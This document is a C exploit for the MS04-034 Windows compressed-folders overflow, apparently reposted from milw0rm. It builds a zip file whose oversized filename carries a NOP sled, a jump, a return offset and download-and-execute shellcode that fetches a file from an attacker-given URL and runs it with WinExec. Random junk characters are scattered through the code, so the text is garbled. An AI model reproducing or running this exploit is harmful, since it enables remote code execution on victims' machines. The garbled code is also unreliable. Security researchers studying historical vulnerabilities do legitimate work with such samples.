(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 0 d7 j5 _/ @3 x% H& E* * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 U/ M- d4 k6 R, M/ N4 v* 8 z B, G4 f% T# n$ x* Tarako - Haxorcitos.com 2004 " ^7 z6 f7 H0 L* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" y! z) w. w# B* u- F( N: s ]3 V* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * 6 s: j" ~! l1 A* Greetings t #haxorcitos, #dsr and #localhost @efnet 1 O( P9 S3 D3 g% i5 B& M9 w* * . q1 m* w! {* T/ [7 G! [* How to get new offsets: % |4 W; u) u/ t" f* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * * G# i/ K9 V% Q% R*/ 7 Y$ f. @! T* z # A5 @1 {( W4 G3 j$ L4 w#include <stdio.h> #include <windows.h> ( `$ g0 v( }1 F6 v3 L9 I4 ` #pragma pack(1) 5 D# F5 }' }6 ^" D3 w8 ~ #define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas ) |+ q7 c$ ]6 W. C' SWORD CompressionMethod; 6 H2 O& \, h% W \WORD ModFileTime; ) C. Z3 `. m3 VWORD ModFileDate; 3 m- h3 F- V w4 y sDWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; # g- s& G% d$ o/ r% v// filename (variable size) * k' ?7 _7 R) L// extra field (variable size) 9 c8 _* T6 x* a' u% H# q2 c) i}TOPHEADER; typedef struct { , |1 U" n& D9 k: r! lDWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; + e" t1 t @' }7 N$ C; uWORD GeneralPurposeFlag; // para el data descriptor y demas l% @4 L3 ]( l8 b$ K( ]WORD CompressionMethod; ; T2 Y7 b, C3 V0 O9 R6 |5 pWORD ModFileTime; 4 W! r! Q- Z ~$ `WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; : p& E0 d2 y7 e8 P; Z# E* e5 ~DWORD UncompressedSize; * o; N% k4 ~( j3 Q% SWORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; 0 ^8 u+ {. r+ E8 D, MWORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) : z: G- Q8 V! z( ?/ S}MIDDLEHEADER; |: h. |2 X& R+ H5 W- ?4 E* y( P7 g/ ] , N" _: m! G- O% ptypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) ! P( u( s X) r* F: X0 }WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; W9 e; M" L* D) G% [" ~* H( u! PDWORD SizeCentralDirectory; $ o5 y" D3 _- X' dDWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; 5 {$ x: [7 |+ ^, s) {/* 5 N y, t) T) f/ ^8 h* download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = + u9 P5 ~" u, n" u1 D2 C9 u"\xEB\x5D\x5F\x8B\xF7\x80\x3F" 4 ?( B( S! B. V; {' P- ~"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" 1 j. H5 v- n3 l' w"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" : G2 z5 ~( P$ v/ ]. B"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" # c! s, X _8 I- X* ?( Q# P"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 4 |7 C3 }0 o4 A( z* ]6 D% ]! g$ s$ t"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" % t, F* Y, D/ [0 `' J+ [/ a+ i! h3 V"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 1 G" u$ i+ ?2 q' r! c' C"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" , s! K8 p, p2 G+ w ~"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ' n5 m9 Y5 Z: t. ]$ m. U"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" 7 p. T, g* n3 ~1 z0 f"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" 2 J. Q; [3 v" c) }5 |2 ["\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" * F3 _" |5 K5 N3 {"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; * Z0 u$ D6 N3 s4 f! t/ f0 v4 ^char shellcode2[] ="\x08\x01"; ' O7 \5 y, S% S+ h- w + N& x# \; b8 v. Kchar offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; 4 V; s8 E6 e' z3 f 4 d5 f! \' i& j- A. g: hint main(int argc,char *argv[]) { 3 h" ^0 X9 }! o; p D8 d0 D& w 3 \) s$ D- o/ [7 t5 n% vFILE *ZipFile; * w* m# x* L- @0 q) z( F( }' vTOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; ( g. A1 s/ G& s3 F" _: z8 g $ z, Q& w" T. D1 J- kDWORD c; UINT i; & i6 g( ~9 A/ _char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 4 Z3 `0 I2 {5 Q4 cprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); . r% K4 N9 ~( J- w, r: | if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); " O4 ~! E. ~% O/ k6 vexit(1); } 0 Z5 \; h5 c; S, Y 1 E" E# r8 l* C7 j. @" Qurl=argv[1]; 6 n! x4 _& O( V$ r `* R' Oprintf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } ; V' p* I/ L) O5 b6 H/ ~5 S% mc=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); . V* v7 P( v, y4 H2 zmemset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); 8 W& h& e j% a4 A. g3 jmemcpy(filename+0x1818,offset,strlen(offset)); ) a( I; b# d `- j1 \ k, Qmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); 0 v/ Y- o) S8 h; r9 ]memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); ! X( E# ]4 z' {' _* k) Qmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); memcpy(filename+(c-4),".txt",4); # C- @; R# |# \& ]; ]Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); 8 p" H" L1 w0 t* Y; X/ j) fmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); 4 B/ M9 K/ ?) }! t. X$ [/////////////////////////////////////////////////////////////////// , ?5 H/ q! [- P6 U4 E# j// TOPHEADER /////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD ! d8 o$ F, l- r# m- nCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 4 ^5 V6 i! M5 f, s Y; B" g6 V$ KCabecera1->CompressionMethod=0x0000; // WORD - t W* n. I6 c7 _Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD 2 B0 j1 y; ?3 ]9 u6 U$ Z7 mCabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ' ?! y2 Q( E# J- s# A- n2 z+ `, KCabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 9 h0 ]" @; h; |4 ] & j, f% d; J* Z. R/////////////////////////////////////////////////////////////////// // MIDDLEHEADER # u5 Y6 D& s& E5 K% p) [ [5 k/////////////////////////////////////////////////////////////////// % U1 p/ s2 E) h, M: ICabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD 2 A2 B' k0 g* b2 A( X$ h# J& LCabecera2->VersionNeeded=0x000A; // WORD q) N8 E6 S; c' v0 oCabecera2->GeneralPurposeFlag=0x0002; // WORD 1 x5 U$ i$ w" G5 v6 u% Q9 RCabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD . Q" A5 v8 r; h" ]" Q* HCabecera2->Crc32=0x85B36639; // DWORD . z# ^+ x3 M' d1 `% j- nCabecera2->CompressedSize=0x00000015; // DWORD $ z3 ^# R- U& G' `# q) ?% QCabecera2->UncompressedSize=0x00000015; // DWORD 7 L$ d& B$ ?3 d4 `Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD Cabecera2->FileCommentLength=0x0000; // WORD 6 y* H" }7 V* p) e4 t' H+ PCabecera2->DiskNumberStart=0x0000; // WORD 7 u; X1 W' \* c+ RCabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD 8 ]9 s& O, m9 nCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// O) K5 F9 ?5 `9 @6 e/////////////////////////////////////////////////////////////////// 8 w# Y5 i1 c: m* K4 u// BOTTOMHEADER 0 T0 N6 ~" z6 M7 i; N' Y/////////////////////////////////////////////////////////////////// 5 S g- a+ s( i1 n. fCabecera3->Signature=0x06054B50; // DWORD Cabecera3->NumOfThisDisk=0x0000; // WORD Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD ) Z$ ~: Y% r& q4 s/ X2 vCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD 9 j; m) t6 y, dCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD - `: K$ y$ u1 g! S) MCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD * S% R5 i! S+ VCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 8 p2 {: ~5 o; s+ C3 p" S2 K; } fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); 8 H" R) X, Z" g2 X& p3 d# E6 B 1 x" r8 \% o8 Y3 u; f1 N5 S+ V9 ifwrite(filename, c, 1,ZipFile); $ `. z# ]1 [! N4 F6 A) Pfwrite(DATOS,strlen(DATOS),1,ZipFile); F$ o2 F# E8 [2 q5 {fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); fclose(ZipFile); # M m4 S ?9 S3 s F$ k& Q/ W& ?printf("\n * prueba.zip created\n"); return 1; 6 {+ q$ N! I' P( M- m}//downloaded from milw0rm.com 3 G0 L8 h$ C+ M$ G/ z Z* P